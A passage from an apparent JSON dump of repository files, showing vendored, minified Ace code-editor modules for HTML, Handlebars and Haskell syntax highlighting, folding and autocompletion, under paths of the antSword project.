this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),ace.define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),ace.define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),ace.define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:[\"manifest\"],head:[],title:[],base:[\"href\",\"target\"],link:[\"href\",\"hreflang\",\"rel\",\"media\",\"type\",\"sizes\"],meta:[\"http-equiv\",\"name\",\"content\",\"charset\"],style:[\"type\",\"media\",\"scoped\"],script:[\"charset\",\"type\",\"src\",\"defer\",\"async\"],noscript:[\"href\"],body:[\"onafterprint\",\"onbeforeprint\",\"onbeforeunload\",\"onhashchange\",\"onmessage\",\"onoffline\",\"onpopstate\",\"onredo\",\"onresize\",\"onstorage\",\"onundo\",\"onunload\"],section:[],nav:[],article:[\"pubdate\"],aside:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],header:[],footer:[],address:[],main:[],p:[],hr:[],pre:[],blockquote:[\"cite\"],ol:[\"start\",\"reversed\"],ul:[],li:[\"value\"],dl:[],dt:[],dd:[],figure:[],figcaption:[],div:[],a:[\"href\",\"target\",\"ping\",\"rel\",\"media\",\"hreflang\",\"type\"],em:[],strong:[],small:[],s:[],cite:[],q:[\"cite\"],dfn:[],abbr:[],data:[],time:[\"datetime\"],code:[],\"var\":[],samp:[],kbd:[],sub:[],sup:[],i:[],b:[],u:[],mark:[],ruby:[],rt:[],rp:[],bdi:[],bdo:[],span:[],br:[],wbr:[],ins:[\"cite\",\"datetime\"],del:[\"cite\",\"datetime\"],img:[\"alt\",\"src\",\"height\",\"width\",\"usemap\",\"ismap\"],iframe:[\"name\",\"src\",\"height\",\"width\",\"sandbox\",\"seamless\"],embed:[\"src\",\"height\",\"width\",\"type\"],object:[\"param\",\"data\",\"type\",\"height\",\"width\",\"usemap\",\"name\",\"form\",\"classid\"],param:[\"name\",\"value\"],video:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\",\"width\",\"height\",\"poster\"],audio:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\"],source:[\"src\",\"type\",\"media\"],track:[\"kind\",\"src\",\"srclang\",\"label\",\"default\"],canvas:[\"width\",\"height\"],map:[\"name\"],area:[\"shape\",\"coords\",\"href\",\"hreflang\",\"alt\",\"target\",\"media\",\"rel\",\"ping\",\"type\"],svg:[],math:[],table:[\"summary\"],caption:[],colgroup:[\"span\"],col:[\"span\"],tbody:[],thead:[],tfoot:[],tr:[],td:[\"headers\",\"rowspan\",\"colspan\"],th:[\"headers\",\"rowspan\",\"colspan\",\"scope\"],form:[\"accept-charset\",\"action\",\"autocomplete\",\"enctype\",\"method\",\"name\",\"novalidate\",\"target\"],fieldset:[\"disabled\",\"form\",\"name\"],legend:[],label:[\"form\",\"for\"],input:[\"type\",\"accept\",\"alt\",\"autocomplete\",\"checked\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"height\",\"list\",\"max\",\"maxlength\",\"min\",\"multiple\",\"pattern\",\"placeholder\",\"readonly\",\"required\",\"size\",\"src\",\"step\",\"width\",\"files\",\"value\"],button:[\"autofocus\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"name\",\"value\",\"type\"],select:[\"autofocus\",\"disabled\",\"form\",\"multiple\",\"name\",\"size\"],datalist:[],optgroup:[\"disabled\",\"label\"],option:[\"disabled\",\"selected\",\"label\",\"value\"],textarea:[\"autofocus\",\"disabled\",\"form\",\"maxlength\",\"name\",\"placeholder\",\"readonly\",\"required\",\"rows\",\"cols\",\"wrap\"],keygen:[\"autofocus\",\"challenge\",\"disabled\",\"form\",\"keytype\",\"name\"],output:[\"for\",\"form\",\"name\"],progress:[\"value\",\"max\"],meter:[\"value\",\"min\",\"max\",\"low\",\"high\",\"optimum\"],details:[\"open\"],summary:[],command:[\"type\",\"label\",\"icon\",\"disabled\",\"checked\",\"radiogroup\",\"command\"],menu:[\"type\",\"label\"],dialog:[\"open\"]},a=Object.keys(u),c=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);return i?f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\")?this.getTagCompletions(e,t,n,r):f(i,\"tag-whitespace\")||f(i,\"attribute-name\")?this.getAttributeCompetions(e,t,n,r):[]:[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompetions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(u[i])),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})}}).call(c.prototype),t.HtmlCompletions=c}),ace.define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),ace.define(\"ace/mode/handlebars_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_highlight_rules\"],function(e,t,n){\"use strict\";function s(e,t){return t.splice(0,3),t.shift()||\"start\"}var r=e(\"../lib/oop\"),i=e(\"./html_highlight_rules\").HtmlHighlightRules,o=function(){i.call(this);var e={regex:\"(?={{)\",push:\"handlebars\"};for(var t in this.$rules)this.$rules[t].unshift(e);this.$rules.handlebars=[{token:\"comment.start\",regex:\"{{!--\",push:[{token:\"comment.end\",regex:\"--}}\",next:s},{defaultToken:\"comment\"}]},{token:\"comment.start\",regex:\"{{!\",push:[{token:\"comment.end\",regex:\"}}\",next:s},{defaultToken:\"comment\"}]},{token:\"support.function\",regex:\"{{{\",push:[{token:\"support.function\",regex:\"}}}\",next:s},{token:\"variable.parameter\",regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\"}]},{token:\"storage.type.start\",regex:\"{{[#\\\\^/&]?\",push:[{token:\"storage.type.end\",regex:\"}}\",next:s},{token:\"variable.parameter\",regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\"}]}],this.normalizeRules()};r.inherits(o,i),t.HandlebarsHighlightRules=o}),ace.define(\"ace/mode/behaviour/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour/xml\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour/xml\").XmlBehaviour,s=function(){i.call(this)};r.inherits(s,i),t.HtmlBehaviour=s}),ace.define(\"ace/mode/handlebars\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html\",\"ace/mode/handlebars_highlight_rules\",\"ace/mode/behaviour/html\",\"ace/mode/folding/html\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html\").Mode,s=e(\"./handlebars_highlight_rules\").HandlebarsHighlightRules,o=e(\"./behaviour/html\").HtmlBehaviour,u=e(\"./folding/html\").FoldMode,a=function(){i.call(this),this.HighlightRules=s,this.$behaviour=new o,this.foldingRules=new u};r.inherits(a,i),function(){this.blockComment={start:\"{{!--\",end:\"--}}\"},this.$id=\"ace/mode/handlebars\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "antSword/static/libs/ace/mode-haskell.js",
    "content": "ace.define(\"ace/mode/haskell_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:[\"punctuation.definition.entity.haskell\",\"keyword.operator.function.infix.haskell\",\"punctuation.definition.entity.haskell\"],regex:\"(`)([a-zA-Z_']*?)(`)\",comment:\"In case this regex seems unusual for an infix operator, note that Haskell allows any ordinary function application (elem 4 [1..10]) to be rewritten as an infix expression (4 `elem` [1..10]).\"},{token:\"constant.language.unit.haskell\",regex:\"\\\\(\\\\)\"},{token:\"constant.language.empty-list.haskell\",regex:\"\\\\[\\\\]\"},{token:\"keyword.other.haskell\",regex:\"\\\\bmodule\\\\b\",push:[{token:\"keyword.other.haskell\",regex:\"\\\\bwhere\\\\b\",next:\"pop\"},{include:\"#module_name\"},{include:\"#module_exports\"},{token:\"invalid\",regex:\"[a-z]+\"},{defaultToken:\"meta.declaration.module.haskell\"}]},{token:\"keyword.other.haskell\",regex:\"\\\\bclass\\\\b\",push:[{token:\"keyword.other.haskell\",regex:\"\\\\bwhere\\\\b\",next:\"pop\"},{token:\"support.class.prelude.haskell\",regex:\"\\\\b(?:Monad|Functor|Eq|Ord|Read|Show|Num|(?:Frac|Ra)tional|Enum|Bounded|Real(?:Frac|Float)?|Integral|Floating)\\\\b\"},{token:\"entity.other.inherited-class.haskell\",regex:\"[A-Z][A-Za-z_']*\"},{token:\"variable.other.generic-type.haskell\",regex:\"\\\\b[a-z][a-zA-Z0-9_']*\\\\b\"},{defaultToken:\"meta.declaration.class.haskell\"}]},{token:\"keyword.other.haskell\",regex:\"\\\\binstance\\\\b\",push:[{token:\"keyword.other.haskell\",regex:\"\\\\bwhere\\\\b|$\",next:\"pop\"},{include:\"#type_signature\"},{defaultToken:\"meta.declaration.instance.haskell\"}]},{token:\"keyword.other.haskell\",regex:\"import\",push:[{token:\"meta.import.haskell\",regex:\"$|;\",next:\"pop\"},{token:\"keyword.other.haskell\",regex:\"qualified|as|hiding\"},{include:\"#module_name\"},{include:\"#module_exports\"},{defaultToken:\"meta.import.haskell\"}]},{token:[\"keyword.other.haskell\",\"meta.deriving.haskell\"],regex:\"(deriving)(\\\\s*\\\\()\",push:[{token:\"meta.deriving.haskell\",regex:\"\\\\)\",next:\"pop\"},{token:\"entity.other.inherited-class.haskell\",regex:\"\\\\b[A-Z][a-zA-Z_']*\"},{defaultToken:\"meta.deriving.haskell\"}]},{token:\"keyword.other.haskell\",regex:\"\\\\b(?:deriving|where|data|type|case|of|let|in|newtype|default)\\\\b\"},{token:\"keyword.operator.haskell\",regex:\"\\\\binfix[lr]?\\\\b\"},{token:\"keyword.control.haskell\",regex:\"\\\\b(?:do|if|then|else)\\\\b\"},{token:\"constant.numeric.float.haskell\",regex:\"\\\\b(?:[0-9]+\\\\.[0-9]+(?:[eE][+-]?[0-9]+)?|[0-9]+[eE][+-]?[0-9]+)\\\\b\",comment:\"Floats are always decimal\"},{token:\"constant.numeric.haskell\",regex:\"\\\\b(?:[0-9]+|0(?:[xX][0-9a-fA-F]+|[oO][0-7]+))\\\\b\"},{token:[\"meta.preprocessor.c\",\"punctuation.definition.preprocessor.c\",\"meta.preprocessor.c\"],regex:\"^(\\\\s*)(#)(\\\\s*\\\\w+)\",comment:'In addition to Haskell\\'s \"native\" syntax, GHC permits the C preprocessor to be run on a source file.'},{include:\"#pragma\"},{token:\"punctuation.definition.string.begin.haskell\",regex:'\"',push:[{token:\"punctuation.definition.string.end.haskell\",regex:'\"',next:\"pop\"},{token:\"constant.character.escape.haskell\",regex:\"\\\\\\\\(?:NUL|SOH|STX|ETX|EOT|ENQ|ACK|BEL|BS|HT|LF|VT|FF|CR|SO|SI|DLE|DC1|DC2|DC3|DC4|NAK|SYN|ETB|CAN|EM|SUB|ESC|FS|GS|RS|US|SP|DEL|[abfnrtv\\\\\\\\\\\\\\\"'\\\\&])\"},{token:\"constant.character.escape.octal.haskell\",regex:\"\\\\\\\\o[0-7]+|\\\\\\\\x[0-9A-Fa-f]+|\\\\\\\\[0-9]+\"},{token:\"constant.character.escape.control.haskell\",regex:\"\\\\^[A-Z@\\\\[\\\\]\\\\\\\\\\\\^_]\"},{defaultToken:\"string.quoted.double.haskell\"}]},{token:[\"punctuation.definition.string.begin.haskell\",\"string.quoted.single.haskell\",\"constant.character.escape.haskell\",\"constant.character.escape.octal.haskell\",\"constant.character.escape.hexadecimal.haskell\",\"constant.character.escape.control.haskell\",\"punctuation.definition.string.end.haskell\"],regex:\"(')(?:([\\\\ -\\\\[\\\\]-~])|(\\\\\\\\(?:NUL|SOH|STX|ETX|EOT|ENQ|ACK|BEL|BS|HT|LF|VT|FF|CR|SO|SI|DLE|DC1|DC2|DC3|DC4|NAK|SYN|ETB|CAN|EM|SUB|ESC|FS|GS|RS|US|SP|DEL|[abfnrtv\\\\\\\\\\\\\\\"'\\\\&]))|(\\\\\\\\o[0-7]+)|(\\\\\\\\x[0-9A-Fa-f]+)|(\\\\^[A-Z@\\\\[\\\\]\\\\\\\\\\\\^_]))(')\"},{token:[\"meta.function.type-declaration.haskell\",\"entity.name.function.haskell\",\"meta.function.type-declaration.haskell\",\"keyword.other.double-colon.haskell\"],regex:\"^(\\\\s*)([a-z_][a-zA-Z0-9_']*|\\\\([|!%$+\\\\-.,=</>]+\\\\))(\\\\s*)(::)\",push:[{token:\"meta.function.type-declaration.haskell\",regex:\"$\",next:\"pop\"},{include:\"#type_signature\"},{defaultToken:\"meta.function.type-declaration.haskell\"}]},{token:\"support.constant.haskell\",regex:\"\\\\b(?:Just|Nothing|Left|Right|True|False|LT|EQ|GT|\\\\(\\\\)|\\\\[\\\\])\\\\b\"},{token:\"constant.other.haskell\",regex:\"\\\\b[A-Z]\\\\w*\\\\b\"},{include:\"#comments\"},{token:\"support.function.prelude.haskell\",regex:\"\\\\b(?:abs|acos|acosh|all|and|any|appendFile|applyM|asTypeOf|asin|asinh|atan|atan2|atanh|break|catch|ceiling|compare|concat|concatMap|const|cos|cosh|curry|cycle|decodeFloat|div|divMod|drop|dropWhile|elem|encodeFloat|enumFrom|enumFromThen|enumFromThenTo|enumFromTo|error|even|exp|exponent|fail|filter|flip|floatDigits|floatRadix|floatRange|floor|fmap|foldl|foldl1|foldr|foldr1|fromEnum|fromInteger|fromIntegral|fromRational|fst|gcd|getChar|getContents|getLine|head|id|init|interact|ioError|isDenormalized|isIEEE|isInfinite|isNaN|isNegativeZero|iterate|last|lcm|length|lex|lines|log|logBase|lookup|map|mapM|mapM_|max|maxBound|maximum|maybe|min|minBound|minimum|mod|negate|not|notElem|null|odd|or|otherwise|pi|pred|print|product|properFraction|putChar|putStr|putStrLn|quot|quotRem|read|readFile|readIO|readList|readLn|readParen|reads|readsPrec|realToFrac|recip|rem|repeat|replicate|return|reverse|round|scaleFloat|scanl|scanl1|scanr|scanr1|seq|sequence|sequence_|show|showChar|showList|showParen|showString|shows|showsPrec|significand|signum|sin|sinh|snd|span|splitAt|sqrt|subtract|succ|sum|tail|take|takeWhile|tan|tanh|toEnum|toInteger|toRational|truncate|uncurry|undefined|unlines|until|unwords|unzip|unzip3|userError|words|writeFile|zip|zip3|zipWith|zipWith3)\\\\b\"},{include:\"#infix_op\"},{token:\"keyword.operator.haskell\",regex:\"[|!%$?~+:\\\\-.=</>\\\\\\\\]+\",comment:\"In case this regex seems overly general, note that Haskell permits the definition of new operators which can be nearly any string of punctuation characters, such as $%^&*.\"},{token:\"punctuation.separator.comma.haskell\",regex:\",\"}],\"#block_comment\":[{token:\"punctuation.definition.comment.haskell\",regex:\"\\\\{-(?!#)\",push:[{include:\"#block_comment\"},{token:\"punctuation.definition.comment.haskell\",regex:\"-\\\\}\",next:\"pop\"},{defaultToken:\"comment.block.haskell\"}]}],\"#comments\":[{token:\"punctuation.definition.comment.haskell\",regex:\"--.*\",push_:[{token:\"comment.line.double-dash.haskell\",regex:\"$\",next:\"pop\"},{defaultToken:\"comment.line.double-dash.haskell\"}]},{include:\"#block_comment\"}],\"#infix_op\":[{token:\"entity.name.function.infix.haskell\",regex:\"\\\\([|!%$+:\\\\-.=</>]+\\\\)|\\\\(,+\\\\)\"}],\"#module_exports\":[{token:\"meta.declaration.exports.haskell\",regex:\"\\\\(\",push:[{token:\"meta.declaration.exports.haskell\",regex:\"\\\\)\",next:\"pop\"},{token:\"entity.name.function.haskell\",regex:\"\\\\b[a-z][a-zA-Z_']*\"},{token:\"storage.type.haskell\",regex:\"\\\\b[A-Z][A-Za-z_']*\"},{token:\"punctuation.separator.comma.haskell\",regex:\",\"},{include:\"#infix_op\"},{token:\"meta.other.unknown.haskell\",regex:\"\\\\(.*?\\\\)\",comment:\"So named because I don't know what to call this.\"},{defaultToken:\"meta.declaration.exports.haskell\"}]}],\"#module_name\":[{token:\"support.other.module.haskell\",regex:\"[A-Z][A-Za-z._']*\"}],\"#pragma\":[{token:\"meta.preprocessor.haskell\",regex:\"\\\\{-#\",push:[{token:\"meta.preprocessor.haskell\",regex:\"#-\\\\}\",next:\"pop\"},{token:\"keyword.other.preprocessor.haskell\",regex:\"\\\\b(?:LANGUAGE|UNPACK|INLINE)\\\\b\"},{defaultToken:\"meta.preprocessor.haskell\"}]}],\"#type_signature\":[{token:[\"meta.class-constraint.haskell\",\"entity.other.inherited-class.haskell\",\"meta.class-constraint.haskell\",\"variable.other.generic-type.haskell\",\"meta.class-constraint.haskell\",\"keyword.other.big-arrow.haskell\"],regex:\"(\\\\(\\\\s*)([A-Z][A-Za-z]*)(\\\\s+)([a-z][A-Za-z_']*)(\\\\)\\\\s*)(=>)\"},{include:\"#pragma\"},{token:\"keyword.other.arrow.haskell\",regex:\"->\"},{token:\"keyword.other.big-arrow.haskell\",regex:\"=>\"},{token:\"support.type.prelude.haskell\",regex:\"\\\\b(?:Int(?:eger)?|Maybe|Either|Bool|Float|Double|Char|String|Ordering|ShowS|ReadS|FilePath|IO(?:Error)?)\\\\b\"},{token:\"variable.other.generic-type.haskell\",regex:\"\\\\b[a-z][a-zA-Z0-9_']*\\\\b\"},{token:\"storage.type.haskell\",regex:\"\\\\b[A-Z][a-zA-Z0-9_']*\\\\b\"},{token:\"support.constant.unit.haskell\",regex:\"\\\\(\\\\)\"},{include:\"#comments\"}]},this.normalizeRules()};s.metaData={fileTypes:[\"hs\"],keyEquivalent:\"^~H\",name:\"Haskell\",scopeName:\"source.haskell\"},r.inherits(s,i),t.HaskellHighlightRules=s}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/haskell\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/haskell_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./haskell_highlight_rules\").HaskellHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"--\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/haskell\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-haxe.js",
